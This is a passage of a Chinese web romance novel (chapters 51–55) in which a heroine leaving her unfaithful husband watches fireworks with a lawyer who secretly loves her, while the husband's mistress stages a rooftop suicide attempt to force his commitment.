专门为醋包了盘饺子 天空中的烟花一朵接着一朵,几乎要把整个浦江的上空都点亮。 宋凝看的有些出神。 有多久没有这样安安静静的看一场烟花了? 上一次,好像还是大学的时候,傅东擎带她去迪士尼。 为了等晚上那一场烟花表演,他们足足等了四个多小时。 宋凝困得睁不开眼睛,傅东擎就把自己的外套脱下来给她穿上,“你靠着我睡一会儿,烟花表演开始了我叫醒你。” 不过那一次的烟花,她也基本没看上。 因为当烟花开始的那一刻,傅东擎就开始吻她。 等一吻结束,烟花表演也结束了。 傅东擎说:“以后我就让人专门为你放一场烟花,让你看个够。” 宋凝摇了摇头:“算啦,专门为我放,多浪费啊!而且还污染环境。” 女人就是这样啊,口是心非。 虽然理智上觉得确实是增加了PM2.5,但谁不期望能有一天,心爱的人专门为自己放一场烟花呢? 无关生日,节日,只是单纯地想讨她开心。 “你在想什么?” 宋凝如梦如醒,她摇了摇头:“没什么。” 丁予期问:“想起以前的事了?傅东擎带你看过烟花吗?” 宋凝说:“时间太久了,不记得了。” 说话间,肩上传来一阵温暖。 丁予期已经不知道什么时候脱下了自己的外套给她披上了。 毕竟是一男一女,这样的动作太过亲密,宋凝下意识就要脱下来还给他。 可是丁予期说:“夜风凉,你要是病倒了谁帮我遛狗?” 宋凝无奈:“丁总,你这张嘴啊,怪不得人家15年了也不愿意跟你。也就林晓筠能治得了你了。” “你总提林晓筠干嘛?你跟她很熟吗?” 宋凝一脸莫名其妙地打量着他:“我为什么提她你心里不清楚吗?” 专门为她开了个招聘会。 萝卜坑似的工作。 还生活助理,不就是想把人留在身边常常见面么。 现在装什么大尾巴狼。 丁予期皱眉:“我该清楚什么?” “我和陈靖两个人估计都是顺带的吧?只为了遮掩一下你以公谋私的事实,把事情做的不那么明显罢了。丁总你也算是个情种了,专门为醋包了盘饺子。” 丁予期失笑:“什么跟什么……” “对了,明明林晓筠是你的生活助理,你修咖啡机遛狗做狗饭还都得使唤我。我不但是她的掩体,我还是你们两个play的一环。” 丁予期挑了挑眉:“你觉得我喜欢的人是林晓筠?” “不然呢?” 丁予期捏了捏额角:“你真是……” 宋凝狐疑:“你不喜欢她你让她当你的生活助理?瑞贝卡还摆明了要给她走后门?” “她是我表妹。”丁予期强调:“有血缘关系的,表妹,我小姨的亲闺女。” 宋凝有些愕然:“……怪不得连傅东擎都不知道你喜欢的是谁,原来……你玩的是禁忌恋啊!那你们两个以后打算要孩子不?近亲结婚听说会有遗传病的。但是好像古代这种表哥表妹结婚的也不少,贾宝玉和林黛玉好像就是……” 丁予期无奈地闭上了眼睛。 宋凝凑了上来:“丁总,我知道了你最大的秘密。我可以保证不说出去,那……唐婷的房费能不能也免了?” 丁予期彻底无语:“你自己白住房间就算了,连你姐妹的房费也想赖啊?” 宋凝嘿嘿笑:“我就问问……” “唐婷怎么说也是个大明星,缺这点钱?” “能省点是点嘛。” 丁予期说:“你对唐婷才是真爱吧?为了帮她隐瞒过去的事,自己跟傅东擎闹掰了也在所不惜……” 宋凝整个人都愣住了。 “……你刚刚说什么?” 丁予期意识到自己说漏嘴了,连忙岔开话题:“行行行,免就免吧,我也不在意这三瓜俩枣的房费。对了,一会儿我们回去的时候去一趟超市吧,买点食材,明天就可以给儿子们做饭了。” 宋凝心里的疑虑并没有就此消散。 那一晚的事,是她掩藏在心里的秘密。 吴教授的为人她信得过,而且吴教授跟丁予期毫无交集,没道理会跟他说。 唐婷就更不可能了。 那……他是怎么知道的? 宋凝越来越觉得,丁予期这个人好像并不像表面上看上去这么吊儿郎当。 他知道的,远比自己以为的要多得多。 “丁总,你是不是知道些什么?” 丁予期无所谓地说:“我能知道什么。” 他不愿意说,宋凝也不好再继续逼问下去。 她说:“我们走吧,再晚的话超市就要关门了。” 丁予期却拉住了她:“再看一会儿烟花,晚点再去,来得及。” “你一个大男人也这么爱看烟花啊?” 丁予期耸肩:“男人就不能爱看烟花吗?” “行行行,你是老板你说了算。” 宋凝索性在台阶上坐了下来,这双高跟鞋的确比她自己买的那双舒服不少,但毕竟也是个高跟鞋。 站了一会儿,她腿酸。 不过浦江边的夜风的确是挺冷的,宋凝把狗子抱在怀里,当恒温暖手宝。 这种大狗也挺好的,累了能靠,冷了能取暖。 毛发厚实,坚实可靠。 她把头轻轻靠在狗子身上,仰起头看着璀璨的烟花。 咔嚓。 宁静而美好的一幕,被镜头定格。 丁予期看着手机上新鲜出炉的照片,满意地勾唇。 然后把这张照片设置成了屏保。 现世安稳,岁月静好,他幻想过这一幕太多太多次。 十五年的光阴,压抑的情感就像是困在笼子里的野兽,傅东擎的出轨就是打开笼子的那把钥匙。 他原本打算,如果林澜没得手,傅东擎自始至终都对宋凝忠贞不二,那他就放弃。 他就去国外,天高皇帝远的,醉生梦死,反正都是一辈子。 怎么过不是过? 可傅东擎终究还是上了钩。 多年前的酒店一夜,终究还是在他心里埋下了怀疑的种子。 男人的自尊心和占有欲作祟,他脱了轨,也给了野兽破笼而出的机会。 “宋凝。” 宋凝回头:“嗯?” “你想不想知道,我喜欢了十五年的人究竟是谁?” 﨔 第五十一章 林澜跳楼了 宋凝:“不想。” 丁予期:“?” 宋凝说:“每个人心里都有一个只属于自己的地方。丁总,你的感情我不想探究,但是如果你知道我的一些秘密,能不能也请你帮我藏起来。” 丁予期知道,她是在说唐婷的那件事。 刚刚自己说漏嘴,她还是听出来了。 于是他说:“嗯,我会的。” …… 傅东擎到了卫斯理酒店,直奔唐婷的房间。 但唐婷不在。 小何说:“唐婷今天去见导演了,一整天都没在家,我派去的人一直跟着,太太没有跟唐婷在一起。” 傅东擎沉默了一会儿,眉心紧拧。 小何问道:“太太中午是跟小丁总一起出去的,会不会他们两个还在一起?” 傅东擎第一秒就否认了:“我联系过予期,他在陪女朋友看烟花,而且他那么不喜欢阿凝,约会的时候怎么可能还带着她?他们应该是分开了。” “那您要不要再问问小丁总,他们分开的时候太太有没有说去哪里?” 傅东擎下意识去掏手机,可是想了想,还是放弃了。 月色正好,烟花璀璨。 刚刚电话里弟妹已经很烦了,丁予期的语气听起来也不是太好,他没有这个脸再去麻烦人家。 浪漫约会之后的夜晚,总是会发生点什么。 他现在打电话过去,就太没有眼力界儿了。 宋凝在S市没有朋友,她到底能去哪儿? “再派人去找,”傅东擎说:“对了,我们很久之前来过一次S市,去过迪士尼乐园,派人去那儿找找。” 小何点头称是,然后立刻去安排了。 傅东擎手里还捏着小何刚刚递给他的房卡,他为了今晚终于能跟宋凝二人世界,专门让人去布置的房间。 刷开房卡,一进门就能闻到玫瑰的清香味。 他打开灯,整个房间都被玫瑰花瓣铺满。 月色照耀下来,浪漫的不可思议。 可是阿凝,你到底在哪里? 电话响起的瞬间,傅东擎抖了一下,他飞快地接起来:“有阿凝的消息了吗?” 可是电话那头传来的,是警察的声音。 “请问是傅先生吗?这里是浦宁区警局,您的太太企图跳楼自杀,请您立刻来帝景大厦一趟!” “自杀?”傅东擎的脑子嗡地一声:“我立刻到!” 帝景大厦就在浦江边上,临江而建,是S市最著名的地标性建筑之一。 人人都知道,一到晚上,外浦的风景美轮美奂,无数游人专门来这里打卡拍照,只为了一睹帝景大厦的雄伟。 傅东擎几乎是一路魂不守舍的赶到,帝景大厦楼下已经被警察拉起了警戒线。 消防人员也来了,正在架设云梯。 气囊也正在充气,做最坏的准备。 “你好,我是傅东擎,我的太太现在怎么样?” 警察看了他一眼,求证了一下:“您就是傅东擎傅先生?” “是的,我太太现在还在楼顶吗?” 警察点了点头:“是的,我们接到群众报警,说有一个女人伤到了帝景大厦的顶楼,非常危险。现在谈判专家已经上去了,试图跟她进行交谈,另一方面我们也安排了特警在周围,有紧急情况方便接应。傅先生,你是跟太太吵架了吗?怎么会闹到要自杀的地步?” 傅东擎心急如焚:“都是我的错,是我对不起她。警察先生,能不能让我上去跟她说几句话?” “好,你跟我来。” 傅东擎被带着上了电梯,到了帝景大厦顶楼。 一个女人穿着一身白色的连衣裙,就站在顶楼最边边的角落里,孤独又落寞。 她背对着所有人,凛冽的夜风把她的裙子和头发都高高的吹起,仿佛下一秒就要把她的人也一起吹走。 看着她站在那里摇摇欲坠,傅东擎只觉得痛彻心扉。 他撕心裂肺地喊道:“我错了,阿凝,我错了!你想打我骂我怎么都好,你想怎么惩罚我都可以,求求你回来,求求你!” 女人听到了他的声音,但似乎并没有打算转过身来。 她反而往前走了一小步,一抬脚,下面就是川流不息的车流。 帝景大厦有100层,从这里掉下去,几乎就是万劫不复。 “阿凝,不要——” 傅东擎冲了过去,几个谈判专家拦住了他:“傅先生,那位女士是你的太太是吗?” “对,她是我太太。” “你们是因为感情问题她才想不开要自杀的吗?” “是的。”傅东擎怒吼道:“你们快救救她,求求你们救救她——” “我们必须得先知道她选择放弃生命的原因,才能针对性的劝说。傅先生,能不能告诉我们,你们走到现在这个地步最根本的原因是什么?” “是……”傅东擎紧紧地咬了咬牙:“我出轨了。” 谈判专家们互相对视了一眼,有几个甚至露出了“我就知道是这样”的表情。 他们处理过不少自杀案。 男人跳楼,多数是因为事业失或者是钱财。 女人跳楼,基本都是感情问题。 “傅先生,现在挽回你太太的唯一途径,就是你当众承诺,跟其他女人彻底断绝关系。” “当然!”傅东擎立刻说道:“我已经都处理好了,以后我再也不会见林澜,我只爱她……” 话还没说完,白裙子的女人转过身来,叫了一声:“东东。” 傅东擎瞪大了眼睛,震惊不已:“怎么会是你?你不是在H市准备流产……” 林澜苦笑了一声,“你来见我的第一句话,就是问我为什么没有流产,是吗?” 傅东擎愤怒道:“阿凝呢?” “我不知道,我只是想找一个最高的地方结束我的生命而已,你的阿凝……我不知道她在哪里。” 旁边的谈判专家听了这段谈话,焦急道:“傅先生,你怎么到了这个时候还在跟太太提起其他女人的名字呢?” 另一个也说:“你太太都怀孕了!你居然还让她去流产,怪不得她想不开要自杀。” “她……她不是我太太。” “不是你太太你这么激动的赶过来?” “我不知道会是她!我以为是……” “傅先生,人命关天!就算你再厌倦了她,也不能看着她去死啊!” 傅东擎痛苦地捂住了脸。 他从没想过,站在这里企图自杀的居然是林澜。 警察的指责,谈判专家的劝说,还有林澜幽怨而绝望的眼神…… 他百口莫辩。 﨔 第五十二章 她还真是能豁得出去 林澜的声音很轻,但是很明显带着哭腔。 “我知道,你喜欢她。” “所以我特地穿了她的衣服,只希望你能看我一眼。” “但是我终究不是她,你刚刚看到我的时候,是失望的,对吗?” “东东,你放心,我已经彻底死心了。我跟着你来到S市,就是只想在临死前见到你最后一面。” “以后,没有了我和孩子,你跟宋小姐就可以毫无阻碍的在一起了。” “忘了我吧,我成全你们——” 林澜闭上眼睛,身体向后倒去。 “特警!快救人!” 几个身上已经戴好了救生绳的特警扑了过去,一把抓住了林澜的手臂。 “抓住了,快去帮忙!” 后续的人马也快速跟上,有去拉住救生绳的,还有的趴在地上,大声喊着让林澜把手给他。 这一切发生的太快,几乎就在电光火石之间。 傅东擎还有些怔忪,就被谈判专家推了一把:“你还愣在这里干什么,快跟我去救人啊!” “我?我该怎么救?” “当然是先承诺会好好对待她,跟其他女人都断绝关系!最起码先把人救上来再说!” 傅东擎被推搡着到了露台边。 林澜只有一只手被武警死死抓着,整个人都像是摇曳在风中的蝴蝶,只要她轻轻一松手,就会立刻下坠,死亡。 她抬起头,看向他:“东东,我再问你最后一次,你还愿意要我吗?” 傅东擎知道,林澜这是用命在逼他。 她在赌,赌他不能眼睁睁看着一个生命在眼前消失。 她也如愿看到了傅东擎脸上的挣扎和愤懑。 已经有记者闻风赶到,楼下聚集了一群看热闹的市民,还有几个记者为了抢头条,已经突破了层层安保到了楼顶。 有一个记者眼尖,一眼就认出了他。 “这不是傅氏集团的傅总么!” “天呐,真的是他?那跳楼的是谁?” “我听保安说,是傅总的太太!” “天呐,傅家最近怎么这么多事情?前几天老傅总才因为诬陷一个女孩敲诈被行政拘留了,现在小傅总的太太又要跳楼自杀……” “快拍快拍,这可是头条新闻!” 闪光灯接二连三的亮起,咔嚓咔嚓的快门声不绝于耳。 大厦的保安赶到,跟记者们发生了推搡。 警察们一边维持秩序,一边还要策划着对林澜的营救。 谈判专家还在不断地跟林澜喊话,代表傅东擎对她保证,他答应了她的条件,以后只守着她和孩子过日子,不会再跟任何女人有牵扯。 这一切发生的都太快太荒谬,傅东擎感觉自己就像是个局外人。 事情全自动发展,而他的戏份已经到了尾声—— 抓着林澜的武警已经快要筋疲力竭了:“快点啊!我快要抓不住了!” “傅太太完全没有求生意志,她不肯伸出另一只手让大家救她!” “楼下的充气垫还没有完全充满气,现在掉下去肯定会死的!” “傅先生,你说话呀!” 千钧一发,所有的人都看向了他。 林澜的命,今晚所有人的努力,还有楼上楼下无数看客的期待,都在等着他落下最后一笔。 林澜苦涩地笑:“好,你不回答,本身也是一种回答,我知道你的答案了。” 她闭上眼睛:“谢谢大家救我,麻烦你们了,再见……” “好!我答应你,我答应你以后跟你在一起!我们一起养大孩子!”傅东擎嘶吼道:“我答应了!” 林澜睁开眼,喜悦的泪水滑落:“真的吗?” “真的!” 谈判专家赶紧说道:“傅太太你看,今天来了这么多记者呢,大家都听到傅总说的话了,所有人都会为你作见证的!” “是啊傅太太,我们都听到了,你快把手给我,我拉你上来!” …… 浦江上空,烟花依旧在不断的炸开。 但是却没有几个人看了,大家都开始往同一个方向奔跑。 宋凝疑惑:“你们去哪里?” 一个年轻男孩说:“说是帝景大厦那边有人要跳楼!” 跳楼? 宋凝立刻站了起来,帝景大厦就离这里不远,大概就两三百米的距离。 “丁总,我们过去看看吗?” 丁予期似乎并不太惊讶,只是轻笑了一声:“她还真是能豁得出去。” 周围脚步声和烟花声交织在一起,宋凝没听清他的话。 “你说什么?” “走吧,去看看……也好。” 宋凝牵着狗就往那边走。 丁予期趁机拉住了她的手:“人多,别走散了。” 今夜的浦江,注定无眠。 前有富二代放了一夜烟花博美人一笑,后有帝景大厦的顶楼上演了一出缠 绵悱恻的爱情故事。 宋凝和丁予期赶到的时候,正好全场都响起了掌声。 大家欢呼着:“救上去了,救上去了!” “终于啊,看得我担心死了。” 宋凝问了旁边的人:“是什么人跳楼啊?” 一个大娘喜盈盈地解释给她听:“我听说好像是一个大老板的太太,还怀着孩子呢,真是可怜啊……” 另一个大叔接上了话:“听说大老板姓傅,是H市那边的一个豪门。你说这些有钱人也真是,好好的日子不过,把自己的太太逼到要跳楼……” H市。 姓傅。 H市的大家族里,就只有一个姓傅的。 难道是…… 傅东擎? 所以今天怀着孩子还要跳楼的人,是林澜? “哦哦哦,和好喽!抱在一起喽!” “太好了,太好了!” 宋凝在一片欢声笑语中,抬头看了一眼。 帝景大厦太高,她看不清楚顶楼那一男一女的五官。 但是男的身形高大,女的娇小依人,两个人紧紧的拥抱在一起,看起来很是相配。 丁予期微微勾着唇:“她今天穿的裙子,还挺像你。” 夜风依旧在吹,把林澜身上的白色连衣裙吹的老高。 宋凝看了看自己身上的,除了她的裙子上有一圈向日葵的图案之外,是真的很像。 白色的裙子,黑色的披发,倘若背过身去,恐怕真的很难分辨。 “哎呀,出新闻了!就是H市的傅家,傅东擎!” “我也刷到了!照片都出来了!” 宋凝的手机也振动了一下。 是微博给她推送了最新的本地新闻。 一点开,就是一张高清大图—— 傅东擎和林澜,站在高高的楼顶上相拥。 黑夜成了他们的陪衬,就连江面上爆炸的烟花似乎都成了他们的见证者。 “难过吗?”身旁的男人问。 宋凝摇了摇头。 “十五年的感情,以这样一个方式结束,要是难过就哭一场,我会替你保守秘密。” 宋凝说:“我不哭,之前我做了选择,现在轮到他做,没什么好难过的。” 﨔 第五十三章 他损失了一个好姑娘 正说着,帝景大厦的门口传来一阵骚动。 一群保安先鱼贯而出,紧接着是一大批扛着长枪短炮的记者。 再然后,是警方,消防,谈判专家。 最后,是被一群保安簇拥在中间的一对男女。 林澜脸上还有泪水,而傅东擎打横抱着她。 “出来了出来了!” 人群呼啦一下全都涌了上去。 只有宋凝和丁予期还站在原地。 三只狗子似乎也察觉到主人的情绪,乖乖的没有捣乱,只是紧紧贴着宋凝的腿坐着。 有些许暖意。 一辆黑色轿车缓缓在路边停下,小何推开车门飞速跑了过去,护在傅东擎和林澜周身,帮着警方一起开道。 几个人经过这边的时候,宋凝被人群挤了一下,丁予期眼疾手快地抱住了她。 他索性扣住她的后脑,让她的脸埋在自己的胸口。 “别看。”他说。 周遭人声鼎沸,她被丁予期紧紧护在怀里,眼前只能看到他衬衫的布料暗纹。 她听到了傅东擎的声音。 “拜托大家让一让,谢谢。” 警察也帮着疏散群众:“傅太太现在需要尽快去医院检查,请大家不要挡住出口,谢谢大家配合。” 声音由远及近,又渐渐由近及远。 过了许久,宋凝才问道:“他们走了吗?” “还没,”丁予期说:“这条路都被停下看热闹的车子堵死了,傅东擎的车开不出去,骑警先去前面指挥交通了。” “他们的车在哪?” “就在我们旁边。” 宋凝不知怎么的,下意识双手抓住了丁予期腰间的衬衫。 感受到腰间微微一紧,丁予期轻轻抚摸着她的发丝:“没事,我挡着呢,他看不到你。” 几分钟后,道路终于被疏通。 她能听到引擎的轰鸣声渐渐远离,直至完全消失。 她轻轻松开手里的布料,往后退了一小步,跟丁予期拉开了距离。 丁予期低下头看了看她的脸,轻声说道:“我还以为你会哭。” 宋凝摇了摇头:“我不哭,损失的人不是我,是他,我为什么要哭?” 丁予期点点头:“没错,他损失了一个好姑娘,该哭的是他。” 回去的路上,丁予期没开车。 这里距离卫斯理酒店也没多少路,他也有心让宋凝散散步整理一下思绪。 回到酒店的时候,瑞贝卡就在酒店大堂。 “丁总,刚刚帝景大厦……” 丁予期说:“我们就在现场。” 瑞贝卡微微惊愕:“那现在该怎么办?” 丁予期说:“你去让厨房准备点好消化的宵夜送去房间,她一下午没吃东西了。” “好的。” “还有,不管任何人来问,就说宋凝没在酒店,这几天我不想让任何人来打扰她。” “唐小姐也是吗?” “唐婷最近也忙,不过空闲的时候看手机也会刷到新闻的。她如果问起,就说宋凝在休息,让她静一静。” “好的, 我明白了。” 宋凝牵着狗,去了唐婷的房间。 走到门口的时候才反应过来,丁予期给她批了免费的房间住。 于是她又返回了大厅,准备去前台开一间最便宜的普通房间。 刚下电梯,就遇到了丁予期。 他长臂一揽,直接把她又带回了电梯里。 他直接按下了64层。 宋凝说:“我要去找前台开房间。” “今晚你睡我那儿。” “我不。” “傅东擎此时此刻就在S市,他要是跑过来跪在你房门口要解释,你还睡不睡了?” “……” “你去我那儿睡,他就算找来了,我就让他滚,不要打扰我和我女朋友甜蜜。” 宋凝泄了气,看着电梯的楼顶一下一下的往上跳。 丁予期呼噜了一把狗头,“你们几个今天表现不错,明天让你妈给你们加鸡腿。” 狗子们伸着舌头傻笑,舔了舔丁予期的手。 丁予期蹙眉,又把手上的口水擦在了它的毛上。 宋凝自从来S市,待的最久的就是64层了。 在唐婷那儿顶多是晚上去聊聊天睡觉,白天都在上班,还得被丁予期使唤着上来给他做动物园。 对这个房间,她已经轻车熟路了。 先把狗子们的牵引绳解开,让他们解脱束缚。 然后又去给他们倒狗粮,换水。 等做完这一切,门铃响了。 瑞贝卡亲自送来了夜宵,还特意嘱咐她:“鲜虾干贝粥,还有一些小菜,是小丁总特意吩咐的。” 丁予期走过来接过餐盘使了个眼色。 瑞贝卡十分自觉地退了出去,还从外面把门关好。 丁予期说:“过来吃饭。” 宋凝摇头:“我不饿。” “不饿也得吃,今天又是帮我挡桃花又是帮我遛狗的,我这个当老板的可不能让你过劳死。”丁予期说:“饿死了我可不能给你算工伤啊。” 丁予期给两人一人盛了一碗粥,催促她:“愣着干什么?去洗手啊,今天你可是被狗子们舔过手的,你想吃它们的口水?” 宋凝:“我用勺子喝,又不用手抓。” 丁予期噗嗤一声笑了:“这才是我认识的宋凝。” “什么啊?” “从来不肯认输,不管我说什么,都得给我怼回来。” 宋凝:“还不是你每次都先怼我的?” “那是因为……” “因为什么?” 因为以前的时候,你的眼里都只有傅东擎。 完全看不见我的存在。 我想跟你说话,你也只是礼貌的敷衍两句,然后又会追逐着傅东擎而去。 我只有故意说一些刺耳的话,你才会舍得看我两眼。 后来,你会伶牙俐齿的怼我,跟我互呛,活灵活现的样子,让我忍不住还想要更多。 我想要你能注意到我,跟我说话,哪怕是不友好的互怼,最起码我在你心里,跟其他男人总是不一样的。 丁予期笑着给她拉开椅子:“过来,吃饭。” “等等啊,你儿子们可真是干饭大王,刚倒了一盆狗粮,一点没注意就又光盘了。我再给他们倒点儿。” “那你照顾完儿子们就过来,我们两个一起吃顿饭。” “嗯,来了。” 粥有些烫手,他把手放在耳垂上降温。 心里也跟着热乎乎的。 他们之间的相处模式,仿佛随着这几只好大儿的到来,更像是……夫妻了。 﨔 第五十四章 你旁边的男人是谁? 宋凝没什么胃口。 吃了饭,就主动提出:“我睡客厅的沙发。” 丁予期似乎是想说什么,但欲言又止,最后还是没说出口。 其实宋凝知道,他想说的事应该跟今天帝景大厦的事情有关。 但她现在需要的不是安慰,更不是冷嘲热讽。 她只想安静一会儿。 好在,丁予期这次算是好说话,只说了句“好好休息”,就进了卧室。 宋凝在沙发上不知道辗转反侧了多久,才昏昏睡去。 朦胧中,她好像梦到了今天帝景大厦上的场景。 不同的是,这一次,她成了站在楼顶的那个。 风很大,雨也很大。 冰冷的雨拍在身上,再被寒风一吹,像是锋利的刀片在皮肤上划开一道道口子。 记者都在拍她。 围着她问:“傅太太,关于傅先生跟林澜小姐公布婚讯这件事,您怎么看?” 宋凝脑子里一团乱,她不知道。 也有警察奋力抓着她的手:“有什么事情都是可以沟通的,傅太太,不要走极端啊!” 她不清楚自己为什么会站在这里,她只是问:“傅东擎人呢?” 人群从两边散开,分出中间的一条路。 傅东擎打横抱着白裙子的林澜,从远处经过。 她大声的喊着:“傅东擎——” 可是他像是没有听到似得,抱着林澜快步穿过人群。 然后,消失在人群中。 手机突然响起,宋凝从梦中惊醒。 这才发现,今夜的S市早已大雨滂沱。 窗户没关,沙发又靠着床边,夜风夹杂着雨丝都被吹了进来,落在她的脸上和身上。 宋凝揉了揉酸疼的额角,怪不得她会做梦在楼顶,原来是淋雨了。 手机还在不依不饶地响着,是唐婷。 唐婷这么晚给她打电话? 是下雨了没带伞吗? 她接起来:“唐婷?” “……” “唐婷?” 没人应。 宋凝把手机拿开看了看,信号是满格的。 “唐婷,你听到我的声音了吗?这么晚了出什么事了?你别吓我。” “……阿凝,是我。” 傅东擎的声音不太清晰,周遭杂音很大。 有呼呼的风声,还有滚滚的雷声。 “唐婷呢?”宋凝质疑道:“你又把唐婷怎么了?傅东擎,我们两个的事情你能不能不要把唐婷牵扯进来?!” “……” “喂,喂!” 一阵电流声响过,电话那头传来唐婷的声音:“阿凝,是我帮他打这个电话的。” 宋凝惊疑不定:“你……” “我本来正在跟导演还有其他演员一起开会,傅东擎他就站在楼下淋着雨,淋了四个小时。” 唐婷唏嘘了一声:“我把当年的事情都告诉他了。” 唐婷说出这句话后,电话两端的人都沉默了。 这个秘密是两个女孩子隐藏了十多年,并且准备带进棺材里的。 但是唐婷说:“阿凝,我大概能猜到你跟傅东擎之间出问题,是因为我的那件事。作为朋友,我不能眼睁睁看着你们因为误会而分开,但现在……事情好像已经发展到覆水难收的地步了。我不知道该怎么做才能弥补对你的亏欠,所以我把那一晚的事情都原原本本的告诉了傅东擎,剩下的事情,你们两个自己做决定吧。” 手机再次被换到了傅东擎手中。 隔着听筒,她听到了他的呼吸声。 她不知道该怎么开口,傅东擎也是。 最终,还是宋凝先发了话:“唐婷的事情,希望你能烂在肚子里,否则我不会放过你。” 傅东擎的声音听起来有些憔悴和疲惫:“阿凝,事到如今,你跟我说的第一句话,还是不相信我。” “……你骗我一次,我瞒你一次,傅东擎,按照你的逻辑,我们这也算是扯平了。” “阿凝,我现在只想知道你在哪,安不安全。” “我在……一个朋友家里,很安全。” “你骗我,我问过唐婷了,你在S市没有其他朋友。”傅东擎说:“我知道你不想见我,故意躲了出去。你告诉我地址,你放心,我不去碍你的眼,我让予期去接你。” “……” “阿凝,今天风大雨大,你一个女孩子一个人在外面,我真的放心不下……唐婷也放心不下。” “……” “要不然我把手机还给她,让唐婷去接你,行不行?” 宋凝立刻说:“你不要打扰唐婷工作,我说了我现在在一个很安全的地方,我……” 手机突然被抽走了。 丁予期不知道什么时候已经站在她身后,正拧着眉心看着她的手机屏幕。 宋凝吓了一跳:“我吵醒你了?” 丁予期没说话,长臂一伸,越过她,把窗户关上了。 风雨和寒冷都被隔绝在外。 客厅里没开灯,今天连月光都没有,路灯只能照亮马路的地面,灯光远远辐射不到64层的高度。 整个房间里都幽暗的出奇。 丁予期关上窗户之后,手臂却迟迟没有收回去,而是按在了她头左边的墙上。 宋凝下意识往右侧走,可丁予期率先一步察觉到了她的动向,拿着手机的另一只手也按在了墙上,阻止了她的逃跑。 宋凝几乎是被他圈在墙壁和他的胸膛之间,随着他的渐渐倾身,两个人几乎是呼吸相闻。 宋凝搞不清楚他到底在干什么,她重重推了他一把,“大晚上的你发什么疯?” 可是男人的体重要是铁了心要往下压,根本不是她能撼动的。 她的手机还被他拿在手里,傅东擎等不到她的回音,急切地在那边呼唤她:“阿凝?阿凝你还在听吗?阿凝?” “你心软了吗?” 丁予期的声音突然变成了从未有过的低沉。 带着威逼,压迫,蓄势待发的气势。 宋凝皱眉想要挣脱桎梏:“你先起来……” 丁予期按着她的肩膀轻轻一推,她就又退回了原位,后背不轻不重地撞在墙壁上,发出一阵闷闷的响声。 不算疼,但是这个力道绝对不小。 丁予期从前只是嘴上跟她怼来怼去不依不饶,上手还是第一次。 宋凝第一次对他有了些微微的恐惧。 她舔了舔唇,轻声说道:“你先起来好不好?这样我有点呼吸不畅。” “傅东擎为了你,站在唐婷的楼下淋雨淋了四个小时,心疼吗?” “我没有。” “那一晚的事情,唐婷跟他都说清楚了,你们的误会也解开了,你还想回到他的怀抱里,是吗?” “我说了我没有……” “不行。” 他的声音仿佛巨石落地,掷地有声。 “宋凝,我不允许。” 电话里响起傅东擎警惕而狐疑的声音:“阿凝,你旁边的男人是谁?” 﨔 第五十五章 坦白局 “唔——” 她几乎是猝不及防被吻住了。 丁予期吻了她?! 这个场景太过荒谬,宋凝一度以为自己会不会还是在做梦。 可是唇上真实的痛觉却打碎了她的幻想。 丁予期的吻来的很猛,几乎是带着啃咬和吮吻。 她刚一开口想说话,他就立刻吞没了她的呼吸。 宋凝拍打着他的肩膀,可是压根无济于事,对他构不成一点伤害,反而刺激地他更加疯狂的索取。 “阿凝,阿凝!” “……” “阿凝你是不是发生什么事了?” “……” “阿凝你在哪里?你说话啊!” 丁予期忽然停下了,邪邪地笑着,把手机拿到了她面前:“要告诉他吗?我刚刚对你做了什么。” 宋凝缺氧太久,大脑昏昏沉沉,只顾着大口大口的呼吸,什么话都说不出来。 因为身体对缺氧的恐惧反应,眼角渗出泪水。 丁予期用手指沾了沾,在指尖捻开:“哭什么,觉得委屈吗?” 他的呼吸几乎喷在她脸上, 宋凝别开脸,艰难地寻找更新鲜的空气。 “阿凝——阿凝你别怕,我现在就报警!你手机不要挂断,我立刻让小何去定位手机信号……” 唐婷也慌了,大声地喊着:“阿凝,你没事吧?你能听到我说话吗?” 宋凝伸手想要去够回自己的手机,可丁予期却把手机举高,高到她踮着脚尖也够不着。 “还、还给我……” 丁予期在她唇边啄了一口,宋凝躲闪不及,被亲了个正着。 他说:“还是我来跟他说吧。” 他虚虚地把宋凝搂在怀里,拍着她的背帮她顺气,然后按下了免提键。 “傅东擎。” 电话那头愣了好一会儿,才迟疑着问了一句:“你是谁?” 他轻笑了几声:“你连我的声音也听不出来了吗?” “……” 傅东擎震惊在原地,嗓子口仿佛堵了一团棉花,好半晌都说不出话。 丁予期说:“阿凝跟我在一起,这一整天,我们都在一起。” “……” “白天我们一起去吃饭,遛狗,晚上我们一起看了烟花。哦对了,顺便还观看了你跟林澜的绝美爱情故事。而现在,她在我怀里。” “……” “你想听听她的声音吗?” 丁予期把手机拿开,放在了宋凝的唇边。 宋凝仍旧因为缺氧而剧烈的呼吸着。 可这个声音通过电流声传过去,似乎就有了一些不同寻常的暧昧意味。 丁予期又把手机拿了回来:“阿凝今晚很累了,不方便再跟你说话,而且傅东擎,你真的已经打扰了我们很多次了,真的很让人厌烦。” 傅东擎仍旧没有说话。 不知道是不是还沉浸在剧烈的震动中无法回神。 倒是唐婷听了出来:“你是……丁律师?” “是。” “你跟阿凝……你们……” “不可能!!!!”傅东擎怒吼着:“你跟阿凝一向不对盘,你们怎么可能在一起?不会的,你骗我,你骗我!阿凝还托唐婷给我买了衬衫!她爱我,她心里的人还是我!阿凝呢?你让阿凝跟我说!” 丁予期点了点头:“可以。” 他再次把手机放在宋凝的嘴边:“阿凝,你来告诉他,衬衫是给谁买的?” 宋凝抬起头,一边呼吸,一边看向他的眼睛。 不知道是不是她的错觉,他的眼睛在黑夜里亮的吓人。 今夜的丁予期仿佛一只狼。 “算了,”丁予期轻笑:“阿凝刚刚太累了,不方便说话。唐婷,麻烦你告诉他吧。” 唐婷:“……傅东擎,衬衫不是给你的。” “什么……” “阿凝托我找代购买的衬衫,的确是给丁律师的。” “怎么可能,怎么可能,我不相信……” 丁予期说:“东擎,你记不记得我之前说过,我喜欢了一个女孩十五年,我放弃继承家业考政法学院当了律师,就是为了有朝一日,亲自帮她离婚。” 傅东擎的声音变得惊愕,声线都在抖动:“你喜欢的女孩……就是阿凝?” “是的,”丁予期说:“我看着你们两个从相遇到相恋,又看着你们从结婚到决裂。我从前一直在想,倘若你能让她幸福,那我就退出。可是啊……你没有经受的住考验。” “我跟林澜只是玩玩而已,我只是心里有疙瘩而已,这件事你是知道的!你最清楚不过!” 